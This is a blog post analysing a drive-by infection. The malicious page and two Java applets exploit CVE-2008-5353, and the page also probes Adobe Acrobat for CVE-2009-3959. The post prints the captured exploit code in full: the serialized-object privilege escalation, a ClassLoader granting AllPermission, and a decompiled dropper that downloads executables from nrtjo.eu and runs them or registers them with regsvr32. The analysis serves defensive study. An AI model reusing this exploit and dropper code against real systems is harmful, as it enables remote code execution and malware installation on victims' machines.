In my previous post, I analyzed a packet capture in which a user is infected with a virus after clicking on a malicious link. In this post, I’d like to take a closer look at how this attack worked. Clicking on a malicious link should not automatically download and execute a virus. What happened here?
Let’s first take a closer look at the page the user clicked on, true.php. I deobfuscated this a little bit as part of my previous post, and this is the first interesting part:
<script> document.write("<OBJECT id=jdf1 height=0 width=0 classid=clsid:CA8A9780-280D-11CF-A24D-444553540000></OBJECT>"); var ver = jdf1.GetVersions(); ver = ver.split(","); ver = ver[1].split("="); ver = ver[1]; if ((ver < "7.1.4") || (ver < "8.1.7") || (ver < "9.3")) { document.write('<iframe src="http://nrtjo.eu//pdf.php?spl=ie" width="173" height="348" frameborder="0"></iframe>'); } </script>
A quick Google search shows that CA8A9780-280D-11CF-A24D-444553540000 corresponds to the Adobe Acrobat Control for ActiveX. Knowing that, it becomes pretty clear that this code is determining whether or not the version of Acrobat installed on the system is vulnerable, then loading a malicious PDF into an iframe.
Assuming the version numbers above can be trusted, a Google search shows a number of vulnerabilities in those Adobe Acrobat versions. I would guess that they are trying to exploit CVE-2009-3959 – Integer overflow in the U3D implementation in Adobe Reader and Acrobat 9.x before 9.3, and 8.x before 8.2 on Windows and Mac OS X, allows remote attackers to execute arbitrary code via a malformed PDF document. Fortunately, from the packet capture we know that the user did not download pdf.php, so there’s no need to take our analysis any further.
The rest of true.php is pretty straightforward:
<applet code="myf.y.AppletX.class" archive="sdfg.jar" width="300" height="300"> <param name="data" value="http://nrtjo.eu//loading.php?spl=javad"> <param name="cc" value="1"> </applet> <applet code="Main.class" archive="q.jar" width="300" height="300"> <param name="u" value="687474703a2f2f6e72746a6f2e65752f2f6c6f6164696e672e7068703f73706c3d6a617661646e7726"> <param name="c" value="1"> <param name="d" value="1"> </applet>
From my previous post, we know that sdfg.jar tries to download and execute http://nrtjo.eu//loading.php?spl=javad0. The JRE isn’t supposed to let you do that with an unsigned applet. So why was the attack successful in this case?
In the previous post, I did a little handwaving and made the assumption that PX.class:run() got invoked somehow. Let’s dig a little deeper this time. The code for AppletX.class is below:
package myf.y; import java.applet.Applet; import java.io.ByteArrayInputStream; import java.io.ObjectInputStream; public class AppletX extends Applet { private static final long serialVersionUID = -3238297386635759160L; private static String ff = "00057372001B6A6176612E7574696C2E477265676F7"; private static String as = "00000"; private static String afc = "44461794"; private static String afcdsnhbskjdbfsdhbfsjkdlnknbaskjbadjha = "646549000"; private static String afcFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFha = "6E69656E744900166D696E696D616C44617973496E46697273745765656B4900096E6578745374616D7049001573657269616C56657273696F6E4F6E53747265616D4A000474696D655B00066669656C64737400025B495B000569735365747400025B5A4C00047A6F6E657400144C6A6176612F7574696C2F54696D655A6"; private static String lol = "73657269616C56657273696F6E4F6E53747265616D4900087"; private static String kol = "6F6E7468490007656E6454696D6549000B656E6454696D6"; private static String gGGGGGGGGLGKGFJDHFDfdfgdhgfsjgfjsdgf7sgfjsdgfhgdf7ysgdfj = "4596561725A000B7573654461796C696768745B000B6D6F6E74684C656E6774687400025B42787200126A6176612E7574696C2E54696D655A6F6E6531B3E9F57744ACA10200014C000249447400124C6A6176612F6C616E672F537472696E673B787074000E4"; private static String kkk = "2744D6F6E7468490009737461727454696D6549000D7374617"; private static String asa = "010101010101010101737200186A6176612E7574696C2E53696D706C6554696D655A6F6E65FA675D60D15EF5A603001249000A64737453"; private static String abc = "B0D0C10200014A0010677265676F7269616E4375746F766572787200126A6176612E7574696C2E43616C656E646172E6EA4D1EC8DC5B8E03000B5A000C6172654669656C647353657449"; private static String a5 = "sdfsd fsdf hsd fkjw fekwe gfrjkg kj54 tkj nkj4 609hyi9h0009e433333333333333333333333333333333333349tugreo9ug 9rugjjjjjjj9 woiuwwwwwwwwwwwwwwwwwwuqrfj 29fu 09epwoooooooooog poreig iorehg oia;sjhdfiosjgf dhhhhhhhhhhhhh"; private static String klls = "87001" + as + "0010101" + as + "001" + as + "002" + as + "001" + as + "121563AFC0E757200025B494DBA602676EAB2A5020000787" + as + "0011" + as + "001" + as + "7D9" + as + "004" + as + "015" + as + "004" + as + "012" + as + "08A" + as + "002" + as + "003" + as + "001" + as + "004" + as + "01" + as + "0011" + as + "022" + as + "2DEFE488C" + as + "00000757200025B5A578F203914B85DE2020000787" + as + "00110101010101010101" + asa + "6176696E6773490006656E6" + afc + "9000C656E6" + afc + "F665765656B490007656E644D6F" + afcdsnhbskjdbfsdhbfsjkdlnknbaskjbadjha + "8656E644D" + kol + "54D6F" + afcdsnhbskjdbfsdhbfsjkdlnknbaskjbadjha + "97261774F6666736574490015" + lol + "37461727" + afc + "9000E737461727" + afc + "F665765656B49000973746172744D6F" + afcdsnhbskjdbfsdhbfsjkdlnknbaskjbadjha + "A73"; private static String a1 = "0007571007E0006" + as + "002" + as + "00000000000787372000D6D79662E792E4C6F61646572585E8B4C67DDC409D8020000787078FFFFF4E"; private static String a2 = "61727" + gGGGGGGGGLGKGFJDHFDfdfgdhgfsjgfjsdgf7sgfjsdgfhgdf7ysgdfj + "16D65726963612F446177736F6E0036EE8" + as + "00000" + as + "00000" + as + "00000" + as + "00000" + as + "0000FE488C0000000002" + as + "00000" + as + "00000" + as + "00000" + as + "00000" + as + "00000" + as + "000757200025B42ACF317F8060854E002000078700000000C1F1C1F1E1F1E1F1F1E1F1E1F770A" + as + "006" + as + "0000" + a1 + "2F96"; private static String a31 = "9697354696D655365745A00076C65" + afcFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFha + "F6E6"; private static String a32 = "000" + a31 + "53B7" + klls + "74617" + kkk + "27454696D654D6F" + afcdsnhbskjdbfsdhbfsjkdlnknbaskjbadjha + "97374" + a2 + "4A"; private static String a33 = "C656E6461728F3DD7D6E5" + abc + "000E666972737" + afc + "F665"; public static String a34 = "43616" + a33 + "765656B5A" + a32 + "C0"; private final String serializedObject = "ACED" + ff + "269616E" + a34 + "00A"; public static String data = null; public void init() { try { String str1 = "000000"; String str2 = "5469"; String str3 = "0010677265676F7269616E4375746F766572787200126A6176612E7574696C2E43616C656E646172E6EA4D1EC8DC5B8E03000B5A000C6172654669656C647353657449000E66697273744461794F665765656B5A00096973" + str2 + "6D655365745A00076C656E69656E744900166D696E696D616C44617973496E46697273745765656B4900096E6578745374616D7049001573657269616C56657273696F6E4F6E53747265616D4A000474696D655B00066669656C64737400025B495B000569735365747400025B5A4C00047A6F6E657400144C6A6176612F7574696C2F" + str2 + "6D655A6F6E653B787001" + str1 + "010101" + str1 + "01" + str1 + "02" + str1 + "0100000121563A"; String str4 = "200014A" + str3 + "FC0E757200025B494DBA602676EAB2A5020000787" + str1 + "011" + str1 + "01000007D9" + str1 + "04" + str1 + "15" + str1 + "04" + str1 + "12" + str1 + "8A" + str1 + "02" + str1 + "03" + str1 + "01" + str1 + "04" + str1 + "1" + str1 + "011" + str1 + "22000002DEFE488C" + str1 + "0000757200025B5A578F203914B85DE2020000787" + str1 + "0110101010101010"; String str5 = "6444617949000C656E644461794F665765656B490007656E644D6F6465490008656E644D6F6E7468490007656E64" + str2 + "6D6549000B656E64" + str2 + "6D654D6F64654900097261774F666673657449001573657269616C56657273696F6E4F6E53747265616D490008737461727444617949000E73746172744461794F665765656B49000973746172744D6F646549000A73746172744D6F6E74684900097374617274" + str2 + "6D6549000D7374617274" + str2 + "6D654D6F64654900097374617274596561725A000B7573654461796C696768745B000B6D6F6E74684C656E6774687400025B42787200126A6176612E7574696C2E" + str2 + "6D655A6F6E6531B3E9F57744ACA10200014C000249447400124C6A6176612F6C616E672F537472696E673B787074000E416D65726963612F446177736F6E0036EE8" + str1 + "000000000" + str1 + "000000" + str1 + "000000" + str1 + "0000FE4"; ObjectInputStream localObjectInputStream = new ObjectInputStream(new ByteArrayInputStream(PX.StringToBytes("ACED00057372001B6A6176612E7574696C2E477265676F7269616E43616C656E6461728F3DD7D6E5B0D0C10" + str4 + "101010101010101010101737200186A6176612E7574696C2E53696D706C65" + str2 + "6D655A6F6E65FA675D60D15EF5A603001249000A647374536176696E6773490006656E" + str5 + "88C" + str1 + "0002" + str1 + "000000" + str1 + "000000" + str1 + "000000" + str1 + "000000" + str1 + "0000757200025B42ACF317F8060854E0020000787" + str1 + "00C1F1C1F1E1F1E1F1F1E1F1E1F770A" + str1 + "06" + str1 + "0000007571007E0006" + str1 + "02" + str1 + "0000000000787372000D6D79662E792E4C6F61646572585E8B4C67DDC409D8020000787078FFFFF4E2F964AC000A"))); Object localObject = localObjectInputStream.readObject(); if ((localObject != null) && (LoaderX.instance != null)) { String str6 = getParameter("data"); String str7 = getParameter("cc"); if (str6 == null) str6 = ""; LoaderX.instance.bootstrapPayload(str6, str7); } } catch (Exception localException) { } } }
The code is pretty obfuscated, but if we strip away a lot the noise we can see what’s actually happening:
ObjectInputStream localObjectInputStream = new ObjectInputStream(new ByteArrayInputStream(data)); Object localObject = localObjectInputStream.readObject(); if ((localObject != null) && (LoaderX.instance != null)) { String str6 = getParameter("data"); String str7 = getParameter("cc"); if (str6 == null) str6 = ""; LoaderX.instance.bootstrapPayload(str6, str7); }
Basically, all those strings are simply representing a serialized object. We unserialize it, then call a function in LoaderX.class called bootstrapPayload():
public void bootstrapPayload(String paramString1, String paramString2) throws IOException { Object localObject1 = null; try { ByteArrayOutputStream localByteArrayOutputStream = new ByteArrayOutputStream(); byte[] arrayOfByte = new byte[8192]; InputStream localInputStream = getClass().getResourceAsStream("/myf/y/PX.class"); String str = "6E69656E744900166D696E696D616C446179734 96E46697273745765656B4900096E657874537461 6D7049001573657269616C56657273696F6E4F6E53 747265616D4A000474696D655B00066669656C64737400025B495B000569735365747400025B5A4C00047A6F6E657400144C6A6176612F7574696C2F54696D655A6"; int i; while ((i = localInputStream.read(arrayOfByte)) > 0) localByteArrayOutputStream.write(arrayOfByte, 0, i); arrayOfByte = localByteArrayOutputStream.toByteArray(); URL localURL = new URL("file:///"); Certificate[] arrayOfCertificate = new Certificate[0]; Permissions localPermissions = new Permissions(); localPermissions.add(new AllPermission()); ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(localURL, arrayOfCertificate), localPermissions); Class localClass = defineClass("myf.y.PX", arrayOfByte, 0, arrayOfByte.length, localProtectionDomain); if (localClass != null) { Field localField1 = localClass.getField("data"); Field localField2 = localClass.getField("cc"); Object localObject2 = localClass.newInstance(); localField1.set(localObject2, paramString1); localField2.set(localObject2, paramString2); localObject2 = localClass.newInstance(); } } catch (Exception localException) { } }
This is another function that does a lot of object serialization/deserialization, this time creating instances of myf.y.PX.
myf.y.PX implements the PrivilegedExceptionAction class. Basically, if AccessController.doPrivileged(PrivilegedExceptionAction) is invoked, then PrivilegedExceptionAction.run() is invoked.
There is also a variable called str that doesn’t seem to be used. Converting it from hex to human readable text yields:
nientI�minimalDaysInFirstWeekI� nextStampI�serialVersionOnStreamJ�time[�fieldst�[I[�isSett�[ZL�zonet�Ljava/util/TimeZ
Looking over vulnerabilites that use PrivilegedExceptionAction and serialization/deserialization yields a number of possible leads, but this one looks the most promising: CVE-2008-5353 – The Java Runtime Environment (JRE) for Sun JDK and JRE 6 Update 10 and earlier; JDK and JRE 5.0 Update 16 and earlier; and SDK and JRE 1.4.2_18 and earlier does not properly enforce context of ZoneInfo objects during deserialization, which allows remote attackers to run untrusted applets and applications in a privileged context, as demonstrated by “deserializing Calendar objects”. I’d describe how the exploit works, but there’s already an excellent overview here.
Knowing that sdfg.jar is exploiting CVE-2008-5353 makes it pretty easy to understand how this attack works. There are three classes in this archive:
- AppletX.class
- LoaderX.class
- PX.class
LoaderX.class is probably the easiest class to understand. Right now all we need to know is that it extends the ClassLoader object by adding readObject and writeObject methods — it is a serializable ClassLoader.
The applet (AppletX.class) creates an instance of this loader, but unsigned applets don’t have sufficient privileges to create a ClassLoader (or a ClassLoader subclass). This is where CVE-2008-5353 comes into play. The ByteArrayInputStream has been crafted to basically look like a Calendar object to the JRE, but to also contain an instance of the serializable ClassLoader. When readObject() is called, the input stream is deserialized (with full privileges, because of the way Calendar deserialization was implemented) and an instance of the LoaderX ClassLoader is initialized. Without CVE-2008-5353, a security exception would have been encountered when the ClassLoader was deserialized.
Now that we have a ClassLoader, we can do some damage. One of the things a ClassLoader can do is load a class with whatever privileges it wants. This is exactly what LoaderX.class:bootstrapPayload() does:
Permissions localPermissions = new Permissions(); localPermissions.add(new AllPermission()); ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(localURL, arrayOfCertificate), localPermissions); Class localClass = defineClass("myf.y.PX", arrayOfByte, 0, arrayOfByte.length, localProtectionDomain); ... localObject2 = localClass.newInstance();
The code above will create a new instance of PX.class (with full permissions) and invoke the constructor. PX.class implements PrivilegedExceptionAction, and the constructor simply calls AccessController.doPrivileged(this), which invokes run(). Run(), as implemented, will download and execute http://nrtjo.eu//loading.php?spl=javad0. From the packet capture, we know that this attack was successful.
The last applet is q.jar. This code looks awfully similar to sdfg.jar. There is first a test to make sure we’re running the Sun JRE on Windows, and if we are, we create a new localObjectInputStream using a hardcoded array of bytes. Converting the array of bytes to human readable text yields:
¬í�sr�java.util.GregorianCalendar=×Öå°ÐÁ�J�gregorianCutoverxr�java.util.CalendaræêMÈÜ[Ž�Z�areFieldsSetI�firstDayOfWeekZ� isTimeSetZ�lenientI�minimalDaysInFirstWeekI� nextStampI�serialVersionOnStreamJ�time[�fieldst�[I[�isSett�[ZL�zonet�Ljava/util/TimeZone;xp��������������!V:üur�[IMº`&vê²¥��xp��������Ù���������������Š���������������������"��ÞþHŒ�����ur�[ZW 9¸]â��xp���sr�java.util.SimpleTimeZoneúg]`Ñ^õ¦�I�
dstSavingsI�endDayI�endDayOfWeekI�endModeI�endMonthI�endTimeI�endTimeModeI� rawOffsetI�serialVersionOnStreamI�startDayI�startDayOfWeekI� startModeI�
startMonthI� startTimeI�
startTimeModeI� startYearZ�useDaylight[�monthLengtht�[Bxr�java.util.TimeZone1³éõwD¬¡�L�IDt�Ljava/lang/String;xpt�America/Dawson�6î€������������������������þHŒ���������������������������������ur�[B¬óøTà��xp���w
���������uq�~������������xsr�AppletPanel¬]T‹*:��xpxÿÿôâùd¬�
Notice how it looks like a Calendar object up until the AppletPanel part. To me, it looks like this is also exploiting CVE-2008-5353, but the attack changes when we call AppletPanel.BxSnX2j(). Rather than create an instance of the PrivilgedExceptionAction class like we did in the sdfg.jar case, there is a very long stream of bytes that is eventually loaded as a class. To figure out what this class did, I first had to decompile it, which was a lot easier than I expected it to be. I copied the stream of bytes into a text editor, replaced the “h” characters in this string with “\x”, fixed the beginning and end of the string, then ran the following Python script:
#!/usr/bin/python file = open("appletviewer.class", "wb") file.write("\xca\xfe\xba\xbe...") file.close()
I then opened appletviewer.class with a Java Decompiler, and here’s the resulting source code:
import java.io.File; import java.io.FileOutputStream; import java.io.InputStream; import java.net.URL; import java.security.AccessController; import java.security.PrivilegedExceptionAction; import java.util.Random; public class AppletViewer implements PrivilegedExceptionAction { public static String u = null; public static String c = null; public static String d = null; public static String parseVersion(String paramString, int paramInt) { String[] arrayOfString = new String[paramInt]; int i = 0; for (int j = 0; j < paramInt; j++) { arrayOfString[j] = ""; } for (j = 0; j < paramString.length(); j++) { char c1 = paramString.charAt(j); if (!Character.isDigit(c1)) { if (arrayOfString[i].length() > 0) { i++; if (i == paramInt) break; arrayOfString[i] = ""; } } else { int tmp93_92 = i; String[] tmp93_91 = arrayOfString; tmp93_91[tmp93_92] = (tmp93_91[tmp93_92] + Character.digit(c1, 10)); } } String str1 = ""; for (j = paramInt - 1; j >= 0; j--) { String str2 = "00"; if (arrayOfString[j].length() > 0) { int k = Integer.parseInt(arrayOfString[j]); str2 = Integer.toString(k, 16); if (str2.length() == 1) str2 = "0" + str2; else if (str2.length() != 2) str2 = "00"; } str1 = str1 + str2; } return str1; } public Object run() throws Exception { if (u == null) { return null; } try { int i = 1; int j = 0; String str1 = u; str1 = str1 + "J" + parseVersion(System.getProperty("java.version"), 4); if (c != null) { i = Integer.parseInt(c); } if (d != null) { j = Integer.parseInt(d); } for (int k = 0; k < i; k++) { URL localURL = new URL(str1 + Integer.toString(k)); localURL.openConnection(); InputStream localInputStream = localURL.openStream(); Random localRandom = new Random(); byte[] arrayOfByte = new byte[6]; for (int m = 0; m < arrayOfByte.length; m++) { int n = localRandom.nextInt(); n = Math.abs(n); n %= 25; n += 97; arrayOfByte[m] = ((byte)n); } String str2 = new String(arrayOfByte); String str3 = System.getProperty("java.io.tmpdir") + File.separator + str2; if (j != 0) str3 = str3 + ".dll"; else { str3 = str3 + ".exe"; } FileOutputStream localFileOutputStream = new FileOutputStream(str3); int i2 = 0; int i1; while ((i1 = localInputStream.read()) != -1) { localFileOutputStream.write(i1); i2++; } localInputStream.close(); localFileOutputStream.close(); if (i2 >= 1024) { String str4 = str3; if (j != 0) { str4 = "regsvr32 -s \"" + str3 + "\""; } Runtime.getRuntime().exec(str4); } } } catch (Exception localException) { } return null; } public AppletViewer() { try { AccessController.doPrivileged(this); } catch (Exception localException) { } } }
Like PX.class in sdfg.jar, this class implements PrivilegedExceptionAction, and the constructor calls AccessController.doPrivileged(this). Looking at the run() function, it first builds a URL (which contains the Java version, which according to the packet capture indicates we’re running Java 6u10), downloads the URL, saves it to ${java.io.tmpdir}/${random_string}.dll, then calls “regsvr32 -s malicious.dll”, which essentially registers the DLL with the system, assuming the DLL implements DllRegisterServer and DllUnregisterServer (I’m not sure if this is the case with UPX-packed executables or not).
Both of the Java attacks use CVE-2008-5353 as a starting point. However, the executable is launched differently in each case, which probably helps evade antivirus scanners and such. With that said, I feel like the same work could have been done with one .jar file, so maybe I’m still missing something. Or maybe the attacker didn’t know what he was doing.
Ultimately, I’m satisfied knowing that upgrading to Java 6u11 should prevent this attack. To test this theory, I could set up a VM with Java 6u10 installed, run these applets, verify the attack was successful, then verify that it wasn’t with Java 6u11, but that seems like overkill for the purposes of this blog post.
To summarize this attack, the user clicked on a link that attempted to infect her system via three attack vectors:
- A malformed PDF that exploits CVE-2009-3959
- Two Java applets that exploit CVE-2008-5353
- One applet downloads the executable and runs Runtime.getRuntime().exec(str7); on it
- One applet downloads the executable, saves it as a DLL, and registers it with the system with regsvr32
The end result in each case is that a malicious executable is downloaded and executed on the victim’s system. Perhaps in a future post I will analyze what this malicious executable does.